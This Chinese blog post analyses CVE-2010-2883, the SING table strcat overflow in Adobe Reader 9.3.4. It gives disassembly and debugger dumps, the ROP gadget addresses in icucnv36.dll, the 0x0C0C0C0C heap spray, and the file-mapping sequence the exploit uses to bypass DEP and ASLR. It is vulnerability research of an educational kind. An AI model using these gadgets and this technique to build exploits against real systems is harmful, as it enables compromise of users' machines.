前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2010-2883分析

CVE-2010-2883分析

作者头像
安恒网络空间安全讲武堂
发布2018-10-25 10:18:24
6650
发布2018-10-25 10:18:24
举报

正文:

环境配置 :

  1. 操作系统:Windows XP SP3
  2. 调试工具:OllydbgPDFStreamDumperIDA
  3. 软件:Adobe Reader 9.3.4

漏洞点在SING表处,位于CoolType.dll文件处。 先将恶意pdf文件导入PDFStreamDumper,查看之后可以找到SING表的数据结构。

官方定义的SING的数据结构:

代码语言:javascript
复制
struct{
    char   tag[4];
    ULONG  checkSum;
    ULONG  offset;
    ULONG  length;
}

根据我们所找到的SING表的数据,可以知道偏移地址为0x11c。再往下找0x11c偏移处的内容:

但是在偏移0x10处的内容才是uniqueName域起始内容。

代码语言:javascript
复制
.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h           <-----------栈长度0x104
.text:0803DD00                 lea     ebp, [esp-4]
.text:0803DD04                 mov     eax, ___security_cookie    <---------Canary
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+108h+var_4], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset sub_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]
.text:0803DD23                 mov     edi, [ebp+108h+arg_0]
.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]
.text:0803DD2F                 mov     [ebp+108h+var_130], edi
.text:0803DD32                 mov     [ebp+108h+var_138], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+108h+var_10C], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+108h+var_124], esi
.text:0803DD4C                 mov     [ebp+108h+var_120], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+108h+var_124]
.text:0803DD66                 mov     [ebp+108h+var_119], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+108h+var_124], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"  <------SING表入栈
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]   
.text:0803DD7D                 call    sub_8021B06               <------处理sing表
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4
.text:0803DD8D                 mov     ecx, [eax]
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9
.text:0803DD9F                 add     eax, 10h                  <-------uniqueName域
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat                    <-------溢出!

先来看看处理SING表的那一块函数地方。 先把字符串SING入栈,后入栈edi,调试可得:

暂且还不知道他的内容是怎么回事。继续看。

后来赋值了ecx。调用完函数之后eax中函数的返回值就是原ecx的值,来对比一下前后的值。

代码语言:javascript
复制
调用前ecx:
0012E4B4  74 F3 A8 04 28 6A 1C 02 00 00 00 00 00 00 00 00  t蟥(j........
0012E4C4  CC B9 E7 00 70 E4 12 00 0C E7 12 00 54 4A 18 08  坦?p?..?.TJ
0012E4D4  01 00 00 00 D8 E4 12 00 B0 E6 12 00 00 00 00 00  ...劁.版.....
0012E4E4  E5 64 20 44 58 E8 12 00 9C AE 23 08 EF 52 08 08  錮 DX?.湲#颮
0012E4F4  50 A6 23 08 BC 2D BB 04 0B 0D 08 08 6C F3 A8 04  P???.l蟥
0012E504  D4 E4 12 00 50 E5 12 00 AF F8 11 01 FF FF FF FF  凿.P?.
---------------------------------------------------------------------------
调用后eax:
0012E4B4  6C 0B A9 04 DF 1D 00 00 00 00 00 00 00 00 00 00  l??..........
0012E4C4  CC B9 E7 00 70 E4 12 00 0C E7 12 00 54 4A 18 08  坦?p?..?.TJ
0012E4D4  01 00 00 00 D8 E4 12 00 B0 E6 12 00 00 00 00 00  ...劁.版.....
0012E4E4  E5 64 20 44 58 E8 12 00 9C AE 23 08 EF 52 08 08  錮 DX?.湲#颮
0012E4F4  50 A6 23 08 BC 2D BB 04 0B 0D 08 08 6C F3 A8 04  P???.l蟥
0012E504  D4 E4 12 00 50 E5 12 00 AF F8 11 01 FF FF FF FF  凿.P?.

前八个字节发生了变化。在看后四字节0x1DDF。这不就是前面所看到的数据长度吗?所以我们可以推测出该函数大致上就是处理SING表内容的。再看看前四字节,调用完函数之后又重新赋值了一遍eax,刚好是把前四字节赋值给了eax。再看看后面对于eax的调用,又有一处加上了0x10,所以我们看看其地址处的内容:

代码语言:javascript
复制
d 0x4A90B6C :
04A90B6C  00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A  ...........:
04A90B7C  98 66 51 E6 AB 53 8B E7 14 A7 82 4A 0C 0C 0C 0C  榝Q娅S嬬J....
04A90B8C  16 0A 12 37 7A 8C E7 36 3F DC A9 03 A1 E1 CF CB  .7z岀6?堠♂纤
04A90B9C  7B 78 91 C5 8B 8C F7 5F 3D C8 2F 90 40 D3 35 1E  {x懪媽鱛=?怈?
04A90BAC  24 0B 45 5F 64 6D 61 0A 1D 5B 9E 6C 2E F6 6A EB  $E_dma.[瀕.鰆

这不就是前面所看到的SING表内容吗,后面调用eax加上0x10的原因就在于加上0x10后的地址处内容才是uniqueName域的内容。 然后看edi的作用,edi寄存器所指的地址内容设置一下内存访问断点,查看一下被什么调用即可,经多次查看之后就可以发现edi偏移0x30处的0x4A8F374被下面图中处代码调用过。

在查看一下该处地址的对应内容:

代码语言:javascript
复制
d 0x4A8F374:
04A8F374  00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32  .......OS/2
04A8F384  B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54  確鬰..雙...VPCLT
04A8F394  D1 8A 5E 97 00 00 EB C8 00 00 00 36 63 6D 61 70  褗^?.肴...6cmap
04A8F3A4  A4 C3 E8 A0 00 00 B1 6C 00 00 03 58 63 76 74 20  っ锠..眑..Xcvt
04A8F3B4  FF D3 1D 39 00 00 1E FC 00 00 01 FC 66 70 67 6D  ?9..?.黤pgm
04A8F3C4  E7 B4 F1 C4 00 00 26 60 00 00 00 8B 67 61 73 70  绱衲..&`...媑asp
04A8F3D4  00 07 00 07 00 01 01 48 00 00 00 0C 67 6C 79 66  ...H....glyf
04A8F3E4  0C 74 41 CF 00 00 26 EC 00 00 8A 7E 68 64 6D 78  .tA?.&?.妦hdmx
04A8F3F4  34 F0 21 0E 00 00 EC 00 00 00 15 48 68 65 61 64  4?..?..Hhead

这是PDF文件中的字体对象。 所以说我们这里已经搞清楚了第一个call函数的用途: 函数通过传入表目录项的 TAG 名称,然后读取表目录项,处理后返回两个元素,第一个元素为表目录的内存映射地址,第二个元素为表目录的长度。 搞清了第一个函数之后再看看下一个漏洞点的函数:

代码语言:javascript
复制
.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat

用Ollydbg调试看看。

先是加上了0x10,即前文提到的uniqueName域,压入栈中,而后将ebp入栈,再调用strcat函数,所以说就是将uniqueName域拼接到ebp指向的地址。 因为并没有限制拼接的长度,所以就产生了溢出。

ROP :

接下来跟踪查看一下作者所构造的ROP链,是如何来利用这个溢出漏洞的。跟踪反复调试过之后可以得出,先执行到此处。

代码语言:javascript
复制
.text:0803DDD2                 pop     ecx
.text:0803DDD3
.text:0803DDD3 loc_803DDD3:                            ; CODE XREF: sub_803DCF9+D1j
.text:0803DDD3                 cmp     [ebp+108h+var_119], 0
.text:0803DDD7                 jnz     loc_803DEA9             <----------跳转实现

---------------------------------------------------------------------------

.text:0803DEA9 loc_803DEA9:                            ; CODE XREF: sub_803DCF9+5Ej
.text:0803DEA9                                         ; sub_803DCF9+DEj ...
.text:0803DEA9                 lea     eax, [ebp+108h+var_124]
.text:0803DEAC                 push    eax
.text:0803DEAD                 push    ebx
.text:0803DEAE                 push    edi
.text:0803DEAF                 call    sub_8016BDE

进入sub_8016BDE函数中:

代码语言:javascript
复制
.text:08016BDE                 push    ebp
.text:08016BDF                 sub     esp, 660h
.text:08016BE5                 lea     ebp, [esp-4]
.text:08016BE9                 mov     eax, ___security_cookie
.text:08016BEE                 xor     eax, ebp
.text:08016BF0                 mov     [ebp+664h+var_4], eax
.text:08016BF6                 push    50h
.text:08016BF8                 mov     eax, offset sub_8175D32
.text:08016BFD                 call    __EH_prolog3_catch
.text:08016C02                 mov     eax, [ebp+664h+arg_8]
.text:08016C08                 mov     esi, [ebp+664h+arg_4]
.text:08016C0E                 mov     edi, [ebp+664h+arg_0]
.text:08016C14                 mov     [ebp+664h+var_6BC], eax
.text:08016C17                 mov     eax, offset CriticalSection
.text:08016C1C                 push    eax             ; lpCriticalSection
.text:08016C1D                 mov     [ebp+664h+var_680], esi
.text:08016C20                 mov     [ebp+664h+var_6C0], eax
.text:08016C23                 call    ds:EnterCriticalSection
.text:08016C29                 xor     ebx, ebx
.text:08016C2B                 push    edi
.text:08016C2C                 mov     [ebp+664h+var_668], ebx
.text:08016C2F                 mov     [ebp+664h+var_694], ebx
.text:08016C32                 mov     [ebp+664h+var_678], ebx
.text:08016C35                 call    sub_801BB1C
.text:08016C3A                 cmp     eax, ebx
.text:08016C3C                 pop     ecx
.text:08016C3D                 mov     [ebp+664h+var_67C], eax
.text:08016C40                 jz      loc_80172CE
.text:08016C46                 push    1
.text:08016C48                 push    ebx
.text:08016C49                 push    ebx
.text:08016C4A                 lea     eax, [ebp+664h+var_678]
.text:08016C4D                 push    eax
.text:08016C4E                 lea     eax, [ebp+664h+var_694]
.text:08016C51                 push    eax
.text:08016C52                 push    edi
.text:08016C53                 push    [ebp+664h+var_67C]
.text:08016C56                 call    sub_801BB21

而后进入到sub_801BB21函数当中:

代码语言:javascript
复制
.text:0801BB21                 push    ebp
.text:0801BB22                 mov     ebp, esp
.text:0801BB24                 push    [ebp+arg_18]
.text:0801BB27                 mov     ecx, [ebp+arg_0]
.text:0801BB2A                 push    [ebp+arg_14]
.text:0801BB2D                 mov     eax, [ecx]
.text:0801BB2F                 push    [ebp+arg_10]
.text:0801BB32                 inc     dword_823A6A0
.text:0801BB38                 push    [ebp+arg_C]
.text:0801BB3B                 push    [ebp+arg_8]
.text:0801BB3E                 push    [ebp+arg_4]
.text:0801BB41                 call    dword ptr [eax]

再进入[eax]函数处,即0x808b116:

代码语言:javascript
复制
.text:0808B116                 push    ebp
.text:0808B117                 mov     ebp, esp
.text:0808B119                 push    ecx
.text:0808B11A                 push    ebx
.text:0808B11B                 push    esi
.text:0808B11C                 push    edi
.text:0808B11D                 mov     edi, [ebp+arg_0]
.text:0808B120                 push    edi
.text:0808B121                 mov     esi, ecx
.text:0808B123                 call    sub_808B02A
.text:0808B128                 xor     ebx, ebx
.text:0808B12A                 test    al, al
.text:0808B12C                 jz      loc_808B2CB
.text:0808B132                 cmp     [ebp+arg_14], bl
.text:0808B135                 jnz     loc_808B2CB           <--------跳转实现

---------------------------------------------------------------------------

.text:0808B2CB
.text:0808B2CB loc_808B2CB:                            ; CODE XREF: sub_808B116+16j
.text:0808B2CB                                         ; sub_808B116+1Fj
.text:0808B2CB                 mov     eax, [esi]
.text:0808B2CD                 mov     [ebp+arg_17], bl
.text:0808B2D0                 call    dword ptr [eax+70h]
.text:0808B2D3                 push    edi
.text:0808B2D4                 lea     ecx, [esi+14h]
.text:0808B2D7                 call    sub_801E540
.text:0808B2DC                 mov     byte ptr [esi+0E0h], 1
.text:0808B2E3                 mov     eax, [edi+3Ch]
.text:0808B2E6                 cmp     eax, ebx
.text:0808B2E8                 mov     [esi+2F4h], eax
.text:0808B2EE                 mov     [esi+2F8h], ebx
.text:0808B2F4                 mov     [ebp+var_4], ebx
.text:0808B2F7                 jnz     short loc_808B300
.text:0808B2F9
.text:0808B2F9 loc_808B2F9:                            ; CODE XREF: sub_808B116+28Ej
.text:0808B2F9                 xor     al, al
.text:0808B2FB                 jmp     loc_808B594
.text:0808B300 ; ---------------------------------------------------------------------------
.text:0808B300
.text:0808B300 loc_808B300:                            ; CODE XREF: sub_808B116+1E1j
.text:0808B300                 lea     ecx, [ebp+var_4]
.text:0808B303                 push    ecx
.text:0808B304                 push    ebx
.text:0808B305                 push    3
.text:0808B307                 push    eax
.text:0808B308                 call    dword ptr [eax]

再进入[eax]处的存放地址,实际上是栈中存放的地址: eax:0x0012E6D0,call地址:0x4A80CB38 返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C49 而strcat拼接的地址是从0x0012E4D8开始的。 继续看接下来的调用:

代码语言:javascript
复制
4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E    C9              leave
4A80CB3F    C3              retn
  1. 第一条指令 调用前:ebp --> 0x0012DD48 调用后:ebp --> 0x0012E4DC
  2. 第二条指令 esp --> 0x0012E4E0 ebp --> 0xE78B53AB
  3. 第三条指令 eip --> 0x4A82A714 icucnv36.4A82A714

接下去的ROP:

代码语言:javascript
复制
4A82A714    5C              pop esp                                  ; 0C0C0C0C
4A82A715    C3              retn

esp --> 0x0c0c0c0c 接下去就是在堆内存0x0c0c0c0c处构造好的shellcode了。 这种在0x0c0c0c0c处构造shellcode的方法是堆喷射。

流程在栈中的执行情况:

我画了一个图,可以自行边调试边参考我画的在栈中执行的流程图。

可以看出来该跳转的稳定性主要来源于0x4A80CB38和0x4A82A714这两处地址,两处地址都位于icucnv26.dll的地址空间,而在Adobe的各个版本上,这个dll上的两处地址一直不变,所以该exploit在各个版本都很稳定。

执行到堆喷射后 :

返回到0x0C0C0C0C后栈中的情况:

代码语言:javascript
复制
0C0C0C0C   4A8063A5  icucnv36.4A8063A5
0C0C0C10   4A8A0000  icucnv36.4A8A0000
0C0C0C14   4A802196  icucnv36.4A802196
0C0C0C18   4A801F90  icucnv36.4A801F90
0C0C0C1C   4A84903C  <&KERNEL32.CreateFileA>
0C0C0C20   4A80B692  icucnv36.4A80B692
0C0C0C24   4A801064  icucnv36.4A801064
0C0C0C28   4A8522C8  icucnv36.4A8522C8
0C0C0C2C   10000000  sqlite.10000000
0C0C0C30   00000000

先跳到0x4A8063A5处,

代码语言:javascript
复制
4A8063A5    59              pop ecx                                  ; icucnv36.4A8A0000
4A8063A6    C3              retn

而后转入0x4A802196,

代码语言:javascript
复制
4A802196    8901            mov dword ptr ds:[ecx],eax
4A802198    C3              retn

再转入0x4A801F90

代码语言:javascript
复制
4A801F90    58              pop eax                               ; <&KERNEL32.CreateFileA>
4A801F91    C3              retn

转入0x4A80B692

代码语言:javascript
复制
4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; kernel32.CreateFileA

调用CreateFile函数,再查看栈中的内容:

代码语言:javascript
复制
0C0C0C24   4A801064  /CALL 到 CreateFileA
0C0C0C28   4A8522C8  |FileName = "iso88591"
0C0C0C2C   10000000  |Access = GENERIC_ALL
0C0C0C30   00000000  |ShareMode = 0
0C0C0C34   00000000  |pSecurity = NULL
0C0C0C38   00000002  |Mode = CREATE_ALWAYS
0C0C0C3C   00000102  |Attributes = HIDDEN|TEMPORARY
0C0C0C40   00000000  \hTemplateFile = NULL

创建了一个名为“iso88591”的文件。 执行完该函数之后又用前面ROP调用CreateFileA相同的手法调用了CreateFileMapping函数,该函数创建了文件内存映射。此时调用的各个参数为:

代码语言:javascript
复制
0C0C0C68   4A801064  /CALL 到 CreateFileMappingA
0C0C0C6C   0000043C  |hFile = 0000043C
0C0C0C70   00000000  |pSecurity = NULL
0C0C0C74   00000040  |Protection = PAGE_EXECUTE_READWRITE
0C0C0C78   00000000  |MaximumSizeHigh = 0x0
0C0C0C7C   00010000  |MaximumSizeLow = 0x10000
0C0C0C80   00000000  \MapName = NULL

后又执行,

代码语言:javascript
复制
4A80B692  - FF20            jmp dword ptr ds:[eax]                 ; kernel32.MapViewOfFile

调用MapViewOfFile函数,各个参数:

代码语言:javascript
复制
0C0C0CA8   4A801064  /CALL 到 MapViewOfFile
0C0C0CAC   00000440  |hMapObject = 00000440
0C0C0CB0   00000022  |AccessMode = 0x22
0C0C0CB4   00000000  |OffsetHigh = 0x0
0C0C0CB8   00000000  |OffsetLow = 0x0
0C0C0CBC   00010000  \MapSize = 10000 (65536.)

后调用memcpy函数,各个参数:

代码语言:javascript
复制
0C0C0D44   04490000  /CALL 到 memcpy
0C0C0D48   04490000  |dest = 04490000
0C0C0D4C   0C0C0D54  |src = 0C0C0D54
0C0C0D50   00001000  \n = 1000 (4096.)

这里因为有着DEP的机制,所以说shellcode在堆栈上是无法执行的,因此这里就可以创建一个文件对象,然后映射到可读可写可执行的内存区域,再将shellcode拷贝到该区域,就可以执行shellcode了。而且恰好我们构造的ROP都处于icucnv36.dll,此处不受aslr保护,成功绕过aslr

成功执行。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-10-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 正文:
  • ROP :
  • 流程在栈中的执行情况:
  • 执行到堆喷射后 :
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档